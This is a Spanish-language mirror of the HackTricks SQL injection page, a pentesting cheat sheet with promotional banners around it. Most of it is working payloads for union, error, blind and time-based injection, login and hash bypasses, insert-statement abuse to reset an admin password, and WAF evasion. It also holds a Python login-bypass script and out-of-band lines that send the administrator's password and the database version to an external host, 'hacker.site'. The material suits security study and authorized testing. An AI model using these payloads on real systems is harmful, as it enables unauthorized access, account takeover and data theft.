mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
524 lines
31 KiB
Markdown
524 lines
31 KiB
Markdown
# Inyección SQL
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## ¿Qué es la inyección SQL?
|
||
|
||
Una **inyección SQL** es una vulnerabilidad de seguridad que permite a los atacantes **interferir con las consultas a la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluida la información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o la denegación de servicio.
|
||
|
||
|
||
## Detección del punto de entrada
|
||
|
||
Cuando un sitio parece ser **vulnerable a la inyección SQL (SQLi)** debido a respuestas inusuales del servidor a entradas relacionadas con SQLi, el **primer paso** es comprender cómo **inyectar datos en la consulta sin interrumpirla**. Esto requiere identificar el método para **escapar del contexto actual** de manera efectiva.
|
||
Estos son algunos ejemplos útiles:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
|
||
|
||
_Ten en cuenta que si puedes ver mensajes de error o detectar diferencias cuando una consulta está funcionando y cuando no lo está, esta fase será más fácil._
|
||
|
||
### **Comentarios**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmación con operaciones lógicas
|
||
|
||
Un método confiable para confirmar una vulnerabilidad de inyección SQL implica ejecutar una **operación lógica** y observar los resultados esperados. Por ejemplo, un parámetro GET como `?username=Peter` que produce un contenido idéntico al modificarlo a `?username=Peter' o '1'='1` indica una vulnerabilidad de inyección SQL.
|
||
|
||
De manera similar, la aplicación de **operaciones matemáticas** sirve como una técnica de confirmación efectiva. Por ejemplo, si al acceder a `?id=1` y `?id=2-1` se produce el mismo resultado, es indicativo de una inyección SQL.
|
||
|
||
Ejemplos que demuestran la confirmación mediante operaciones lógicas:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Esta lista de palabras fue creada para intentar **confirmar inyecciones SQL** de la manera propuesta:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Confirmación con Temporización
|
||
|
||
En algunos casos, **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tengan un **impacto en el tiempo** que la página necesita para cargarse.\
|
||
Por lo tanto, vamos a concatenar en la consulta SQL una operación que llevará mucho tiempo en completarse:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
En algunos casos, las **funciones de espera no estarán permitidas**. En lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que llevarán varios segundos. _Los ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
|
||
|
||
### Identificación del Back-end
|
||
|
||
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Puedes usar las **funciones de espera** de la sección anterior o estas (tabla de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
También, si tienes acceso a la salida de la consulta, podrías hacer que **imprima la versión de la base de datos**.
|
||
|
||
{% hint style="info" %}
|
||
A continuación vamos a discutir diferentes métodos para explotar diferentes tipos de Inyección SQL. Utilizaremos MySQL como ejemplo.
|
||
{% endhint %}
|
||
|
||
### Identificación con PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Explotando Union Based
|
||
|
||
### Detectando el número de columnas
|
||
|
||
Si puedes ver la salida de la consulta, esta es la mejor manera de explotarla.\
|
||
En primer lugar, necesitamos averiguar el **número** de **columnas** que está devolviendo la **solicitud inicial**. Esto se debe a que **ambas consultas deben devolver el mismo número de columnas**.\
|
||
Normalmente se utilizan dos métodos para este propósito:
|
||
|
||
#### Order/Group by
|
||
|
||
Para determinar el número de columnas en una consulta, ajusta incrementalmente el número utilizado en las cláusulas **ORDER BY** o **GROUP BY** hasta que se reciba una respuesta falsa. A pesar de las funcionalidades distintas de **GROUP BY** y **ORDER BY** dentro de SQL, ambos se pueden utilizar de manera idéntica para determinar el recuento de columnas de la consulta.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Selecciona más y más valores nulos hasta que la consulta sea correcta:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
|
||
|
||
En los siguientes ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, y los nombres de las columnas de la tabla:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Existen diferentes formas de descubrir estos datos en cada base de datos diferente, pero siempre se sigue la misma metodología._
|
||
|
||
## Explotando la Inyección Basada en Uniones Ocultas
|
||
|
||
Cuando la salida de una consulta es visible, pero una inyección basada en uniones parece inalcanzable, significa la presencia de una **inyección basada en uniones ocultas**. Esta situación a menudo conduce a una inyección ciega. Para transformar una inyección ciega en una basada en uniones, es necesario discernir la consulta de ejecución en el backend.
|
||
|
||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para comprender estas tablas predeterminadas, se recomienda consultar la documentación del DBMS objetivo.
|
||
|
||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de forma segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en uniones recién accesible.
|
||
|
||
Para obtener información más detallada, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Explotando basado en Errores
|
||
|
||
Si por alguna razón **no puedes** ver la **salida** de la **consulta** pero puedes **ver los mensajes de error**, puedes utilizar estos mensajes de error para **filtrar** datos de la base de datos.\
|
||
Siguiendo un flujo similar al de la explotación basada en Uniones, podrías lograr extraer la base de datos.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Explotando Blind SQLi
|
||
|
||
En este caso no puedes ver los resultados de la consulta o los errores, pero puedes distinguir cuando la consulta devuelve una respuesta verdadera o falsa porque hay diferentes contenidos en la página.\
|
||
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Explotando Error Blind SQLi
|
||
|
||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un error SQL cada vez que adivines correctamente el carácter:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Explotando SQLi basado en tiempo
|
||
|
||
En este caso **no hay** ninguna forma de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Sin embargo, puedes hacer que la página **tome más tiempo en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad de SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Consultas apiladas
|
||
|
||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, si bien las consultas subsecuentes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica se utiliza principalmente en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para desencadenar una búsqueda DNS, un error condicional o un retraso en el tiempo.
|
||
|
||
**Oracle** no admite **consultas apiladas**. **MySQL, Microsoft** y **PostgreSQL** las admiten: `CONSULTA-1-AQUÍ; CONSULTA-2-AQUÍ`
|
||
|
||
## Explotación fuera de banda
|
||
|
||
Si **ningún otro** método de explotación **funcionó**, puedes intentar hacer que la **base de datos exfiltre** la información a un **host externo** controlado por ti. Por ejemplo, a través de consultas DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltración de datos fuera de banda a través de XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Explotación Automatizada
|
||
|
||
Consulta la [Hoja de Trucos de SQLMap](sqlmap/) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Información Específica de Tecnología
|
||
|
||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de Inyección SQL. Encuentra algunos trucos más dependientes de la tecnología de la base de datos en este libro:
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
O encontrarás **muchos trucos relacionados con: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Bypass de Autenticación
|
||
|
||
Lista para intentar evadir la funcionalidad de inicio de sesión:
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass de Autenticación de Hash en Bruto
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Este query muestra una vulnerabilidad cuando se utiliza MD5 con true para la salida en bruto en comprobaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Bypass de autenticación de hash inyectado
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Lista recomendada**:
|
||
|
||
Debes usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
|
||
_(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### GBK Autenticación Bypass
|
||
|
||
SI ' está siendo escapado puedes usar %A8%27, y cuando ' es escapado se creará: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Script de Python:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Inyección políglota (multicontexto)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Declaración Insert
|
||
|
||
### Modificar contraseña de objeto/usuario existente
|
||
|
||
Para hacerlo, debes intentar **crear un nuevo objeto con el nombre del "objeto maestro"** (probablemente **admin** en caso de usuarios) modificando algo:
|
||
|
||
* Crear usuario con el nombre: **AdMIn** (combinando letras mayúsculas y minúsculas)
|
||
* Crear un usuario con el nombre: **admin=**
|
||
* **Ataque de Truncamiento SQL** (cuando hay algún tipo de **límite de longitud** en el nombre de usuario o correo electrónico) --> Crear usuario con el nombre: **admin \[muchos espacios]** a
|
||
|
||
#### Ataque de Truncamiento SQL
|
||
|
||
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
|
||
|
||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, cortará el **nombre de usuario** al **número máximo de caracteres permitidos** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
|
||
|
||
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Nota: Este ataque ya no funcionará como se describe en las últimas instalaciones de MySQL. Aunque las comparaciones aún ignoran los espacios en blanco al final de forma predeterminada, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error y la inserción fallará. Para obtener más información sobre esto, consulta: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||
|
||
### Verificación basada en el tiempo de inserción de MySQL
|
||
|
||
Agrega tantos `','',''` como consideres necesario para salir de la declaración VALUES. Si se produce un retraso, tienes una Inyección SQL.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones para que la base de datos tome cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o PRIMARY KEY. El siguiente ejemplo demuestra cómo esta característica puede ser explotada para modificar la contraseña de una cuenta de administrador:
|
||
|
||
Ejemplo de Inyección de Carga Útil:
|
||
|
||
Una carga útil de inyección podría ser creada de la siguiente manera, donde se intentan insertar dos filas en la tabla `users`. La primera fila es una distracción, y la segunda fila apunta a un correo electrónico de un administrador existente con la intención de actualizar la contraseña:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
### Extracción de información
|
||
|
||
#### Creación de 2 cuentas al mismo tiempo
|
||
|
||
Cuando se intenta crear un nuevo usuario y nombre de usuario, se necesitan la contraseña y el correo electrónico:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Usando decimal o hexadecimal
|
||
|
||
Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante tener en cuenta que no es necesario comentar nada.
|
||
|
||
Usando **hex2dec** y **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Para obtener el texto puedes usar:
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Usando **hex** y **replace** (y **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Inyección SQL enrutada
|
||
|
||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce la salida, sino que la salida de la consulta inyectable va a la consulta que produce la salida. ([Del documento](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Ejemplo:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## Bypass de WAF
|
||
|
||
[By passes iniciales desde aquí](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### Bypass sin espacios
|
||
|
||
Sin espacio (%20) - bypass utilizando alternativas de espaciado
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
### No Whitespace - bypass usando comentarios
|
||
|
||
En algunos casos, los filtros pueden estar configurados para bloquear ciertos caracteres, como espacios en blanco, que son comunes en las inyecciones SQL. Para evitar esta restricción, se pueden utilizar comentarios en SQL para eliminar o "bypass" los espacios en blanco. Por ejemplo, en lugar de usar un espacio en blanco, se puede usar un comentario de una línea `--` o un comentario de varias líneas `/* */` para separar las palabras clave en la consulta SQL.
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
### Sin espacios - eludir usando paréntesis
|
||
|
||
En algunos casos, es posible eludir las restricciones de entrada que prohíben el uso de espacios en una inyección SQL al utilizar paréntesis. Esto se puede lograr envolviendo las palabras clave y los operadores en paréntesis para evitar la necesidad de espacios. Por ejemplo, en lugar de usar `UNION SELECT`, se puede escribir como `(UNION)SELECT`. Este enfoque puede ser útil cuando se intenta realizar una inyección SQL en un campo que filtra los espacios pero permite paréntesis.
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Bypass sin comas
|
||
|
||
Bypass sin comas - utilizando OFFSET, FROM y JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Saltos Genéricos
|
||
|
||
Lista negra utilizando palabras clave - saltar utilizando mayúsculas/minúsculas
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
### Lista negra utilizando palabras clave insensibles a mayúsculas y minúsculas - evitando usando un operador equivalente
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Bypass de WAF con Notación Científica
|
||
|
||
Puedes encontrar una explicación más detallada de este truco en el [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Básicamente puedes usar la notación científica de formas inesperadas para evadir el WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Saltar la Restricción de Nombres de Columnas
|
||
|
||
En primer lugar, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas**, podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||
|
||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, por lo que en una inyección sql se vería así:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
O utilizando un **bypass de coma**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
